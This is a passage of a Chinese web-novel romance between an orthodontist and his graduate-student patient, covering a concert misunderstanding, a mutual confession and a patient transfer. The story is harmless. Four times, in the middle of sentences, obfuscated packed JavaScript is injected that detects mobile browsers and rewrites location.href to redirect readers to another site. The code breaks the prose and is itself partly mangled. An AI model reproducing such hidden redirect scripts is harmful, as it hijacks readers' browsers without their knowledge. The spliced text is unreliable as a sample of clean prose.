“真的吗,那太好了!梁医生,我什么时候能来听方案啊?明天行不?” “……两周内吧,你的情况也比较复杂,方案出来后我会和你联系。”梁决不放心地又补充了一句,“范女士,你的心情我能理解,但矫治讲究循序渐进,可不能再像之前那样急于求成,要不然我们做医生的也帮不了你。” “对对对,是这个道理,我得改改我这个急躁的毛病。” 心急吃不了热豆腐,此刻的陈心深有体会。 她中午从食堂买了一份红枣山药粥,只顾着狼吞虎咽,没想到红枣里的核没有去干净,“咔哒”一声,竟把后面大牙上粘的一个托槽咬掉了。 真是怕什么来什么。 本来她还在愁下次复诊要怎么面对梁决,万一他问起来自己期中汇报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984611|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情况怎么办?问起来整牙日记是不是能继续更新了怎么办?隔着屏幕怎么都好说,一见到真人,陈心觉得自己直接大脑停摆,什么心思都瞒不住…… 要不然就实话实说,她不更新账号是因为心里难受,账号里记录的日常总会让她想到梁决,进而想到梁决和那个叫夏晴的女孩是不是在一起了? 伸头是一刀,缩头也是一刀。 一整个下午,陈心的脑子里有两个小人在打架,一个鼓励她勇敢出击,一个劝她事缓则圆。 晚上七点,T大口腔医院门前。 陈心想明白了,还是不能拿自己的牙齿开玩笑,箍牙不是小事,网上说,掉了托槽的牙齿很容易移位反弹,一个月的坚持就白费了。当然,最直接的原因是,托槽现在在弓丝里滑来滑去,她忐忑不安得连晚饭都没有吃。 有句老话说得好,天无绝人之路,陈心自以为聪明地想出一个折中的办法——挂口腔急诊,既能解了她的燃眉之急,又能避开和梁决的接触。 但也有句老话这样说,人算不如天算,T大的夜间急诊由其他各科室的医生轮流值守,今天的排班表上写着梁决的名字。 “笃、笃——”急诊室的门被敲了两下,无人应答。 “请问,有医生在吗?”陈心探进个脑袋看,急诊室的构造和普通诊室差不多,几扇不透明的挡板划分出操作台,这会只有一个保洁阿姨在清理卫生。 “阿姨,您知道医生去哪了吗?”陈心走进去问。 “哎?刚才有一个留在这的,其他大夫轮换着去吃饭了,你稍微等一会,小姑娘。”保洁阿姨忙着拢手里的垃圾,也顾不上她,利索地打扫完就离开了。 陈心和保洁阿姨说了声“谢谢”,然后在靠近门口的就诊椅坐下,想着等会怎么和医生说明自己牙齿的情况。 “陈心?”忽然,背后响起一道熟悉的声线。 根本来不及多想,她蹭的一下站起来,手足无措地看着梁决一步、两步、三步地朝她走来,愈加靠近的每一步都像踩在她脆弱的心脏上,怦、怦怦、怦怦…… “那个……梁医生好,我……我托槽掉了……”陈心尴尬地愣在诊室门口。 “进来吧。” “?”陈心没动,眼睁睁地看着梁决大摇大摆地进了诊室。 “愣着干嘛?”梁决像是催促,“不是托槽掉了?” “是,不、不是,梁医生,你怎么在这儿啊?” “今天我值夜班。” “……” 是福不是祸,是祸躲不过。 等陈心完全反应过来发生了什么,梁决已经关了无影灯,让她可以坐起来了。 梁决滑到电脑边,边敲病历边询问道:“怎么发现托槽掉的?”他要填写主诉。 “中午吃饭,不小心硌到了。” “现在才来看?” “我……我下午有课来着!”陈心撒了个谎。 “以后再出现这样的问题,先来挂我的号,我不在医院,就从微信联系我,不要擅自做决定。” “嗯。” “晚饭吃了吗?” 这也是必要的问询吗?陈心眨了下眼,视线慌乱地从梁决打字的手指上移开,盯着他袖子上的一个墨水点,简直像个黑洞一般要把她吸进去。 “吃了……”陈心撒了第二个谎。 “好。”梁决转过身来,“之前忘了说,科室的规定是同一颗牙第一次掉托槽可以免费粘,第二次掉就要更换新的托槽,收费一百,所以吃饭的时候还是尽量小心,频繁掉托槽也会延长矫治时间。” “嗯,我明白了,谢谢梁医生。”陈心起身要走。 “等等——”梁决摘了口罩,语气里有些不解,“陈心,你在躲我吗?” “没、没有啊……”陈心撒了第三个谎。 *梁决内心os:怎么了,我的大小姐! 陈心内心os:天气有雨,心情阴。 21. 第 21 章 在陈心拙劣的演技面前,纵使梁决再迟钝也能觉察出不对劲了。 但他问也问了,对方就是不说,他还有什么办法? 还真有。 这周三,门诊上没什么病人,梁决到点就从医院下班走人,但他没有直接回家,而是去了T大。 口腔医学院,许秋办公室。 “师姐。”梁决礼貌地敲了两下门。 “哎?你怎么来了?”许秋正在给学生改论文,蹙着的眉头还没来得及舒展,“着急吗?不急的话,你等我一会啊,我改完这篇,不然又得从头看,愁死了。” “哦没事,师姐,就是过来转转。”梁决从书架上抽了本书,坐在旁边的沙发上翻着看。 许秋说让梁决等一会,倒也真不含糊,眼瞅着墙上钟表的分针走了大半圈,她才想起来被晾在一边的人,那人倚在沙发靠背上,一手撑着额角,另一只手捻着书页,安静得很。 “说吧,小决,工作上的感情上的?” “不是我,是陈心。”梁决合上书,抿了下嘴唇,像是不知道怎么开口,“那天她来医院,看起来情绪不太好,可能最近学习压力比较大吧,或者遇到了情感问题?陈心有和你提起过吗?” “情感问题?你是说她交男朋友了?” “我也不确定,师姐,但总说不上来哪里有些奇怪,可能是我想多了吧……” “行,谢谢你啊,小决。我找个时间问问她,陈心从小就大大咧咧的,不像是会藏心事的人。” 从许秋办公室出来后,梁决在口院的教学楼里闲转,三楼是曾经待过的阶梯教室,二楼是通宵过的实验室,现在已经被陌生的学生面孔占据,他们将在这里创造属于他们的学术成果,不问朝夕。 走到一楼大厅,梁决看到摆成一排的优秀毕业生展板,展板上有他的个人照片和主要事迹,照片就是最普通的白底证件照,他刚一入学照的,当时穿了件浅蓝色衬衫,也没有什么发型,模样青涩,大概没想过会在这个校园里待十年。 人一辈子有几个十年。 在T大读书的日子之于梁决,已经不单是校园里闭着眼就能走对的路和反复练习到吐的正畸头影测量分析,医学生是很苦的,三千多个日日夜夜,看见的和未被看见的汗水与付出,搏一个云开月明的时刻。 而他的人生,也在此间定调。 在展板的旁边,张贴着几张学院下周要举办的讲座海报,梁决撇了一眼,忽然发现还夹杂着眼熟的一张,他走近了一看,原来是艺院秋季音乐会的,之前夏晴用手机给他看过,大概因为音乐会是校级的活动,所以通知到了各个学院。 音乐会在这周五,就是后天了。 想到这,梁决给穆济远发了条消息,一来询问导师是否有空出席,二来把自己和夏晴目前的关系做了说明,措辞严谨,态度真诚,想来穆济远不会为难自己。 过了一会,穆济远竟然拨了电话过来,声音听起来有些鼻音,他说自己前一阵子得了流感,不过已经在恢复阶段了,为了不传染给大家,就不去音乐会了。至于两个小年轻的缘分没到,穆济远大概是生着病也无心挂怀,只说了句是他瞎操心,便挂了电话。 听到这个答案,梁决这一个多月来悬在心里的石头算是落了地,人情向来难还,一开始就不要欠上。 不过穆导师去不成音乐会,他自己去也有点形单影只的,转念一想,梁决拨通了程烨的电话。 “梁子,我和你说八百回了,我没事了!没事了!你再打我不接了!”彩铃响了好几遍,电话那头才有人接,一出声就是程烨气急败坏的语调。 也不怪程烨烦他,自从二人酒吧别过后,梁决还真担心起程烨别因为催婚而对生活失去热情,万一再自寻短见什么的,于是他隔三差五就打个电话嘘寒问暖,来来回回就那几句:吃了吗?下班了吗?睡眠怎么样? 要不是看在十年室友的情分上,程烨真的要把梁决的手机号拉黑了。 “是我有事,请你帮忙。”梁决赶在对方挂断前切入正题。 “你有事?你能有什么事?你爸又喊你回去继承家业了?” “后天晚上T大秋季音乐会,你腾个空出来。” “啊?不,梁子,你上学的时候都不爱听那玩意,现在怎么了?知道陶冶情操了?” “……” 好好一个程烨,可惜长了一张嘴。 梁决深吸了口气,用最后的一点耐心解释:“穆导师的外甥女要上台表演,邀请你捧个场,来不来?” “穆导师?来来来!你不早说——哎?喂喂?” 梁决把电话挂了。 * 周五晚上快七点,T大礼堂。 梁决今天休班儿,吃过晚饭就来校园里散步,他穿了一件高领羊毛衫,衬得脖颈修长,肩背宽阔,手臂上搭着夹克外套,一副慵懒惬意的模样。 转悠了一圈,他看时间快到了,便沿着小路往礼堂走,没走几步,竟注意到远处有个熟悉的身影,是陈心,还有三个和她一起说笑走着的女生。 这个时间,这个方向,难道也是去听音乐会的? 不等这个疑问解开,梁决定睛一看又发现了新的情况,走在陈心左手边的女生,高个短发,不就是——出现在陈心那条登山朋友圈合照上的人? 只不过,那张照片遮住了面部,只凭体态和发型的话,梁决误以为那是…… 当时的猜想得到相反的验证,梁决有点哭笑不得,尤其他还和师姐说陈心最近情绪有些反常,其实真正奇怪的人是他自己才对吧。 疑人偷斧,梁决脑子里蹦出来一个不太恰当的成语。 既然斧子现在安然无恙,他想着上前打个招呼,这腿还将抬未抬,肩膀倒是被往后扒拉了一下,力气还不小。 “看谁呢,梁子?”程烨穿了一身深色西服,怀里还抱着一大簇鲜花,正循着梁决刚才看的方向张望。 “一个朋友。”梁决随口回了句,转身上下打量起程烨,“你没事吧,这么隆重?” “不懂了吧,这是规矩。”程烨摆出一副见多识广的派头,“这也就是学校里才不那么讲究,一般人听音乐会都得穿正装,等演出结束还得去后台送花,这不我都准备好了。” “……” 进了礼堂,座位已经坐满了大半,两个人往后排的位置走去,梁决边迈台阶边四处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984612|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,礼堂里光线幽暗,人声嘈杂,一时间没找到陈心在哪儿。 音乐会开始后,观众席静了下来。 夏晴的节目在中段,前面几曲是萨克斯独奏和单簧管二重奏,旋律时而悠扬,时而激昂,水准完全不输专业乐团的高价演出,一曲结束,礼堂里响起热烈的掌声。 “还没到?”程烨溜出去上了个厕所回来,歪头小声问。 “下一个,钢琴独奏。” 说话间,舞台上投下一束暖黄色的光,笼罩在亮黑色的钢琴上。 舞台一侧,夏晴穿着一席淡粉色长裙款款走来,她先向台下鞠了个躬,然后走到琴凳前坐下,手臂抬起,手指微微悬空在琴键上。 这一曲叫《重归苏莲托》,是意大利经典名曲。 钢琴声响起,指腹与琴键共舞,翻涌着乐曲的起起伏伏,弹到动情处,夏晴轻轻闭上眼睛,恍若置身乐曲里描述的那一片丰收的橘子园,热烈而香甜。 直到一曲结束,夏晴再次鞠躬下台,程烨才回过神来,一脸如痴如醉地问梁决:“刚才、刚才是……仙女下凡吗?” “……” 晚上九点,音乐会结束。 梁决他们坐在后排,散场只能跟着前面的人一点点往前挪,速度比蜗牛快不了多少,程烨为此急得直跺脚,说来他一开始得知夏晴是穆导师的外甥女,只是有点讨好攀关系的心思,但今天一见,则是被迷得七荤八素,说什么也要去后台认识一下。 “梁子梁子,要不这样,你帮我拿着花,我先挤出去上个厕所捯饬一下,等下你来找我。” “哎——”还没等梁决答应他,怀里就扑进来一阵花香。 梁决之好无奈地拢了拢花束,就当是成人之美,因为他发现程烨和夏晴说不上哪里有些相像,脾气、性格或者是气场吧。 说不定能误打误撞,促成一桩好事。 礼堂外,梁决把花束从右手倒腾到左手,掸去羊毛衫上沾染的花粉,正抬头寻找程烨,却毫无防备地撞进了一双眼睛里。 是陈心,恰巧逆着人群的方向走,和他打了一个仓皇的照面。 “梁医生,你、你在等人啊?” 话说出口,她的视线扫了一眼梁决手中的鲜花,然后聚焦在某一个点上紧盯着看,眼神先是茫然,然后是难以置信,再然后是平静冷淡。 “哦是,不是,你别误会,我……” 梁决一时间不知道要怎么解释,甚至他都没意识到自己为什么要急于解释。 “那不打扰了,拜拜。” 像是早就预料到结果,陈心把脸扭到一边,几乎是擦着梁决的肩膀离开,脚步快到带起一阵急促的风,让他怀中的花瓣跟着微颤。 “陈、陈心——” 梁决来不及喊住她,猛地转身,无意晃落了一张夹在花束里的卡片,他弯腰拾起来的一瞬,忽然明白了陈心刚才在看的是什么。 一张鹅黄色的方形卡片,上面写着—— 致美丽的夏晴姑娘: 演出顺利!祝音乐之路尽是坦途,万事顺意! *梁决内心os:冤枉!不要搞我啊! 陈心内心os:呵,男人! 22. 第 22 章 就在五米之外,刚从洗手间出来的程烨,惊讶地目睹了全程。 见女孩走远,他连忙凑到梁决身边,压低着嗓子问:“梁子,那女孩谁啊?你惹到人家了?” “拿着你的花。”梁决心里很乱,头也不回地走了。 到这一刻,事情才真正意义上串珠成线,梁决没法再看不懂,或者装作看不懂了。 另一边,陈心折返回礼堂,找到了落在座位夹缝里的充电宝。 周围寂静,她甚至能听到自己尚未平复的心跳,脚下一软,跌坐在椅子上,而视线正前方的舞台上曾有过一幕精彩的表演,彼时她坐在台下,心里又在想着什么? 如果没有答应室友一起来看音乐会,就不会看到夏晴在舞台上自信优雅的一面,就不会乱了阵脚把充电宝落在礼堂,就不会掉头来找的时候撞见捧着花的梁决,就不会是现在垂头丧气的样子…… 做个蒙在鼓里的人,多好。 从礼堂回宿舍的路上,陈心顺道从学子超市买了几罐果味气泡酒,低度数的,类似于之前在许秋家喝的那种,只不过那个是她小姨自己酿的,果味更浓郁。 陈心推门进宿舍,室友正拿着牙杯要去洗漱,看她拉这个脸还以为充电宝没找到,再一看她手上拎着的几罐气泡酒,立马拽住她的胳膊问:“陈心,你不开心吗?刚才听音乐会的时候,就觉得你老走神。” “没有……可能大姨妈快来了吧,有点烦。” “那你别喝酒了啊,这么晚了,早休息,明天周末咱们几个出去逛逛,心情就好了。” “嗯。” 这一夜,陈心陷入了失眠。 她在脑子里像过电影一样放映着和梁决的每一次见面—— 最早是在高速上,戴着墨镜的梁决帅得棱角分明,尤其换轮胎的动作利落干净,陈心不自觉地就被吸引了,甚至大胆地邀请他去服务区吃个便饭。 没隔几日,她又和梁决在医院遇见,白大褂给本就话少的他笼罩上一层禁欲感,陈心仗着自己的患者身份,也敢假装试探。 然而,当她见识了校迎新晚会上梁决被台下目光追逐的场景,陈心才恍然间跳出自己的视角,人群中的梁决灿烂耀眼,她坐在他的身边,几乎不被看见。 直到夏晴出现,积压在她心头的复杂情绪迎来了一个爆发点,但她又无处发泄,因为梁决什么也不知道,梁决更没有做错什么,从头到尾,都是她一个人的自导自演。 早上阳光照进宿舍的时候,陈心听见室友下床的声音,她朝里翻了个身,假装还在睡着。 过了一会,林梦来敲她的床栏杆,一是确认她好点了没,二是喊她一起出去转转,陈心蹬了两下被子,嘟囔了句不用管她。 下午的时候,陈心收到梁决发来的微信,只有寥寥四个字:“有时间吗?” 是被看出来了吗?也是,她昨天的情绪管理太失败,任谁都会觉得奇怪吧,更何况是修过医学心理学的梁医生。 “你说现在吗?” “不,等会我下班去找你,方便吗?” “好。” 回完消息,陈心看着宿舍外的一角天空,云层很低,好像要下雨的样子,她去阳台把晾着的衣服收了进来,想了想,又拎着昨天买的气泡酒返了回去。 “噗呲——”提起拉环,气泡酒从易拉罐里冒出来,陈心嘬了几口,荔枝味的。 阳台的窗户开了一小条缝,冷风飕飕地灌进来,她的脑门上立时激起一层冷汗,仰脖吞了几口酒,整个人又清醒又沉迷。 等下见到梁决要说什么呢?梁决又会对自己说什么呢? 说她是患者,他是医生,说她还在念书,他已事业小成,说她们两个人从情感到理智都应该保持现有的距离,毕竟矫治还是要进行的,她也不想梁决背负上心理压力。 几片云飘到宿舍楼上空,瞬时一片阴翳,陈心晃了晃手里的易拉罐,空了。 手机再次响起时,天边已经染了暮色。 “下来吧,我在你宿舍楼前的花坛这儿。” “好,这就来。” 陈心没有心思收拾自己,裹上大衣披着头发就下了楼,外面秋风卷起落叶发出格外应景的呜呜声,她有一种即将接受审判的视死如归。 宿舍楼前的花坛,梁决插着口袋踱来踱去,心情并不比她轻松多少。 昨天回去后,他在书房发呆到凌晨,一边在手里摩挲着那枚陈心送他的檀木吊坠,一边在脑海里闪回两个人在礼堂撞见的画面,因为始料未及,所以来不及掩饰情绪。 眼睛是心灵的窗户,这句话梁决从小就听,现在终于亲身体会到了。 “梁医生——” 他闻声转身,深吸了口气,明明昨天才见过的人,今天却觉得哪里变了? “你喝酒了?” 陈心脸上有明显的绯色,T大宿舍里有供暖,刚到室外没多久自然不可能是冻红的,梁决不等她回答,又问了一句:“为什么要喝酒?还清醒吗?” “清醒的,你说吧。”陈心仰起头,去找梁决的眼睛,眼睛里映着一个小小的她。 “好,那你听着。”梁决朝她迈了一步,手从裤袋里抽出来,同样看着她的眼睛问道,“陈心,你喜欢我?” “没有。”陈心眨了下眼,几乎是脱口而出,然后迅速把头扭到了一边,不敢再看他。 “那是我一厢情愿了,本来还想说,算了……”梁决没把话说下去,摆了下手,假装转身要走。 “哎——你别走!”陈心下意识拽住了他的袖子,抿住嘴角,像是在做最后的一番挣扎。 梁决眯着眼,把陈心的神情尽收眼底,她不会舍得他走的,梁决赌的就是这个。 显然,他赌赢了。 接着,梁决沉了口气,郑重开口道:“是我,我喜欢你,陈心。” 但他没料到的是,几乎是同一时间,陈心的声音也传入他的耳朵,她说:“梁医生,我喜欢你。” “你说什么?” “什么?” 又是异口同声的两句。 但两个人都没再回答彼此的问题,陈心害羞地低头笑,梁决轻轻抚上她的发梢。 陈心从不觉得酒精是什么好东西,但却赠予她两场真实的梦境,一次是梁决答应她的生日愿望,一次是现在梁决说出口的喜欢。 来之前她预设了各种结果,却唯独绕开了这一种可能,而恰好“事与愿违”。 大概过了一个世纪那么久,陈心才再次抬起头看梁决,睫毛颤动,她看着看着眼圈就红了。 或许在学业上,陈心是个大胆勇敢的人,她和别人比志愿学时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984613|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、比绩点,比一切可以量化的指标,但感情无法量化,更不全凭客观,她不觉得自己有什么胜算。 “梁医生,我们在一起了?” “嗯,是这样。” “那夏小姐呢,她不是你的女朋友吗?” “?” 梁决一愣,看来该解释的还是需要解释。 “之前和你说过,夏晴是穆导师的外甥女,我们只是朋友,没有进一步发展的可能,现在更不会有了,还有什么问题吗?” “没了。” “那上楼洗把脸,带你出去吃夜宵。” “好。” 傍晚七点半,老孙粥铺。 天气冷了,粥铺外面不再摆小桌,食客都在店内用餐,梁决撩开门口厚厚的防风帘让陈心先进,店里亮着暖黄色的光,热气氤氲,和外面是截然不同的光景。 陈心一边哈气暖手,一边数着前面还有几个人在排队,转头和梁决说道:“上次来还是和你一块,没想到店里生意这么好呢?” “孙叔干了好多年了,味道很家常,而且价格没怎么涨过,学生自然愿意来照顾他的生意。” “那我下次也带我室友来,冬天就得喝点热乎的。” 说话间,两个人从队尾挪到了队中,身后又站了几位刚推门进来的食客。 终于排到柜台前,没等陈心点餐,老孙左瞅一眼梁决右瞅一眼陈心,拍了下脑袋,惊奇地招呼道:“哎!这不是、这是——对!你是上回和小梁来喝粥的姑娘?” “现在是女朋友了。”梁决站在陈心的身后,抬手搭了一下她的肩膀。 “嘿呦!你小子真行啊!”孙叔咧着嘴笑,“快说想吃什么,这顿我管了!” “还是老三样吧,谢谢孙叔了。” 等柜台打出小票,梁决和老孙又说了一遍谢谢,然后牵着陈心去找位置。 “那个……梁医生,你这样不好吧?” 陈心瞟了他一眼,心想这人前脚还说照顾老板生意,后脚就让老板请客?再说孙叔这么大年纪了,做小买卖也怪辛苦的,怎么能占人便宜呢? “?” 被这么一说,梁决面上有点挂不住,他是有点操之过急了,但这不是顾忌店里人多,进进出出的,想着把人牵在手里才保险吗? 他轻咳了下,把手稍稍松开,没成想却又被陈心结结实实地反握住了,甚至还捏着他的掌心晃了晃。 “梁医生,要不等会咱们悄悄付了吧,我刚才拍了那个付款码的牌子。” 原来是为这事儿。 “好,听你的。”梁决借坡下驴,冲陈心笑了下,手牵得更紧了。 找位置坐下没一会,粥也端了上来,梁决拿了小碗来盛,陈心这时候才觉得饿过劲了,两个人一顿风卷残云,把桌上的东西吃了个干干净净,临走不忘把钱转了。 从外面溜达回宿舍楼的一路,梁决把陈心的手揣进自己的大衣口袋里,细细摩挲她的手背,是一种真实的柔软,陈心觉得有点痒但也没有说什么,路灯照下两个人的影子,今夜格外美丽。 睡觉前,她的手机响了一下,是一条好友申请。 发送人显示——决。 *梁决内心os:嘿嘿,上大号说话! 陈心内心os:甜甜的恋爱终于轮到我了! 23. 第 23 章 建立恋爱关系的第二天,陈心就收到一个“噩耗”——她被移出了梁医生的患者群。 这天一上班,梁决拿着两页纸进了方主任的办公室,一张是先前填好的账号登记备案表,一张是昨晚临时填的患者转诊申请表。 趁着还没到第二次复诊的时间,他打算把陈心转到方主任手下。 理由写了两条:一是措辞含蓄表明两个人已经不再是单纯医患关系,出于职业道德的考量申请转诊;二是基于上一条所述的情况,转诊也是对其他患者的尊重。 “梁决,你、你这……”方主任扫了一眼表格上的患者姓名,咂了下嘴,竟有些哭笑不得,“这是怎么一回事啊?上次师门聚餐的时候,我还听许秋特放心地说她外甥女的牙是交给你整的,这下我看你怎么交差?” “……” 闻言,梁决苦涩地摸了摸额头,一时间还真不知道怎么解释。 他本以为方主任会就转诊的严肃性问题教育他一顿,毕竟矫正一旦开始,通常是由一位医生负责到底,过程中严格遵循矫治方案,除非极个别情况才会委托给其他医生继续处理,甚至有的医生会明确表示不接诊二次矫正的患者。 但现在来看,方主任倒是并不介意自己多一个患者,反而有些看好戏的心态了。 “方老师,您别从我身上找乐子了,我这不还没想好怎么和师姐负荆请罪嘛!不过我们这是两情相悦,我猜师姐也说不着什么。” “你这小子,行了,我这没问题了,你接着去走流程吧。” 一上午的功夫,梁决跑完了转诊手续,不耽误中午去学校找陈心吃饭。 T大食堂四楼,新开的广式味道小馆,人少清净,两个人点了个团购套餐。 “这就办好了?”陈心一边吹着艇仔粥冒的热气,有些不可思议地问梁决。 “嗯,可能是科室内部的事比较好解决,而且方主任是我之前的带教老师,人很好,对患者也很有耐心。” “那我下次复诊就要换医生了吗?” “对,方主任是独立诊室,到时我有空的话就陪你过去一趟。“梁决给她夹了一段红米肠,安慰说道,“之前科室开组会讨论病例的时候,我还和她汇报过你的情况,所以治疗上完全不用担心。” “好吧。” “不过也有个情况要和你说一下。” “嗯?” “方老师是副主任医师,她的挂号费要比我贵一点,还能接受吗?”梁决冲她挑了下眉毛,语气不怎么正经。 “……那你给我报销!” “没问题,就等你这句话了。” 转诊的事处理妥当,梁决才腾出心思去想怎么和师姐解释,但没预料到的是许秋一个电话先打到了陈心那里,她暂时忙完了手头上的学生论文,想起来梁决前一阵问起过陈心的近况,当时俩人还猜测是不是陈心遇上了什么感情问题。 “心心啊,最近学习忙不忙?” “不算忙,怎么了小姨?” “我没事,就是有时间没见你了,挑一天来小姨家吃饭吧?” “行啊小姨!明天我上午有课,下了课去找你,这样就不用挤食堂了!” 陈心乐呵呵地挂了电话,完全没意识到等待她的将是一场“鸿门宴”。 次日中午,许秋家。 餐桌上,许秋一边给陈心夹菜,一边观察她的神色——眉形像是才修过,睫毛夹得卷翘,白皙的脸蛋上打了薄薄一层腮红,整个人看起来满面春风,一点不像梁决所言让人担心的样子。 “咋了,小姨,我脸上有东西吗?粘米粒了?”陈心疑惑地问。 “没有没有,就是看看你。”许秋错开视线,象征性喝了口汤,“最近没发生什么事吧?我看你心情挺好的,说来听听?” “啊?有吗……”闻言,陈心拿筷子的手一抖,这就是当老师的敏感度吗?想必她今天要是不如实招来,怕是很难出得了家门。 许秋本来只是随口一问,但看陈心这欲言又止的样子,难不成歪打正着,她这外甥女还真有事瞒着她呢? “那个,小姨,我、我……” “嗯,你?你怎么了?” “我和梁医生在一起了。” “?” 瞬时,许秋手上的筷子“啪嗒”一声掉到了地上,尽管脸上写满了匪夷所思,仍强装着镇定问道:“我没听错吧,陈心?你俩处对象了?什么时候的事?” “就、就几天前,也没多久……”陈心低眉,小声回道。 “他追的你?”许秋捡起筷子,在桌子上使劲怼了两下,有种磨刀霍霍向猪羊的杀气。 “不!是我先喜欢的梁医生!”陈心一口揽下,想着还是尽可能保全梁决在他师姐心中的美好形象,当然事实也确实如此。 “那他就答应了?我还不知道我师弟这么好追呢?” “?” 陈心抬起头来,眼神像是在问“这话什么意思?”,本女大,不,本女研究生还是很有魅力很优秀的好嘛! “哎你可别这样看着我,你小姨我吃过的盐比你吃过的饭都多,你们小年轻的这点事,我没多少兴趣。” 然而,陈心一走,嘴上说着没多少兴趣的小姨把消息第一时间转达给了势必有兴趣的许夏,反正她也没答应要帮陈心瞒着,再说了这种事也瞒不住。 下午的时候,梁决给陈心发了条消息喊她来医院,说是有好消息要告诉她。 “你不忙吗,没病人?” “今天不坐诊,在医院整理病历,刚忙完,来吧。” 陈心推门进医生休息室的时候,梁决正背对着她在笨拙地摆弄什么,陈心轻手轻脚地从后面拍了一下他的肩膀,两个人皆是一惊—— “这么快?” “这是……三脚架?!” 梁决点头转身,顺手一指桌上摆着的相机和小蜜蜂,他从医院宣传科借了一套拍摄设备,原本打算在陈心来之前组装起来,给她一个惊喜的。 “对,先给你看个东西。” 说着,梁决把三脚架往旁边一撑,走到桌边拉开抽屉,取出一张盖了红章的纸递到陈心面前,有点小得意地开口道:“之前不是说要弄个自媒体账号,已经跟科室里备案了,一切准备就绪,就等你来开机了。” “梁医生,你可真是行动派啊!”陈心被梁决这一连串的举动惊到了,眼眶霎时热热的,竟有点矫情地想掉泪。 说来,梁决一直都是这样的一个人,行胜于言。 从在高速上二话不说给她换轮胎,到公文包里冷不丁掏出一把辅食剪,甚至表白后第一件事是带她去吃夜宵。 “答应你的事,怎么能赖账。”梁决语气平淡,并不觉得这是什么大不了的事,“你看看这个设备行吗,宣传科的刘姐说平常就是拿来录会议、拍领导的,我也不懂具体怎么用?” “嗯,够了够了,咱们又不是什么大制作,我一开始还打算用手机拍呢。”陈心从桌上拿起单反按了开机键,指挥着说,“梁医生,你往窗边站站,我看看光线怎么样。” “好。” 镜头里,梁决穿着普普通通的白大褂,十分听话地抱臂倚着桌角,只是坚持了没一会就打了个哈欠,问:“会不会有点逆光?” “有点儿,但……”帅的更突出了! 陈心歪了下脑袋,把目光从取景框移到几步外的梁决身上,脑子里不自觉冒出四个大字,风华正茂。 “哎怎么样?我看一眼。”说着梁决朝陈心走过来,俯身靠近她看相机的时候,陈心又闻到熟悉的消毒水味,淡淡的,不刺鼻,仿佛比那些奢牌香水还要好闻。 一个下午的时间,梁决和陈心商量好拍摄的事宜,视频栏目就叫“梁医生说正畸”,视频内容自然是由梁决来撰写,拍摄和后期则是陈心全权负责,暂定一周更新两期,每期时长控制在一分钟左右。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984614|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“要不今天先到这?你饿吗,一起去学校吃个饭?”眼见窗外天色暗下来,陈心发出邀请。 “好,等我一下。”话音刚落,梁决就开始脱衣服,准确地说,只是换下白大褂,套上厚实的大衣。 “哎你!你!我出去等你!”陈心脸颊一红,捂着眼睛就逃出了休息室。 二十分钟后,T大馨园食堂。 正好是下课的时间,食堂人头攒动,陈心看着眼前的嘈杂景象,才意识到自己邀请梁决吃食堂的决定有多么错误,平常她都是打包带回宿舍吃的。 “好多人啊……”陈心抱怨了一句。 “你知道哪家难吃吗?”梁决不经意问道。 “什么?” “我看那个窗口没什么人,走,去尝尝。” “啊?” 陈心就这么一头雾水地跟在梁决身后,当他在一个写着“创新菜”的窗口猛然停下的时候,陈心的鼻梁差点撞上梁决的肩头。 “你确定要吃这个吗?”陈心瞟了一眼五光十色的菜品,比如远看是西红柿炒鸡蛋,近看是草莓凉拌爆米花,创意有余,食欲全无。 “尝试新鲜事物,我看网上说这也是情侣要做的100件小事。” “……” 晚饭后,女生宿舍楼下,两个人像其他三三两两的学生情侣一样,牵着手不舍得分开,陈心正想酝酿着说点什么,耳边忽然响起熟悉的两道声音—— “诶?陈心?真是你啊!” “梁医生?你们……” 月光低垂,乔艺和林梦不知道从哪里冒出来,气氛顿时从情意绵绵变成了四个人大眼瞪小眼的尴尬,情急之下,陈心想把自己的手抽回来,却被梁决用更大的气力握在手心。 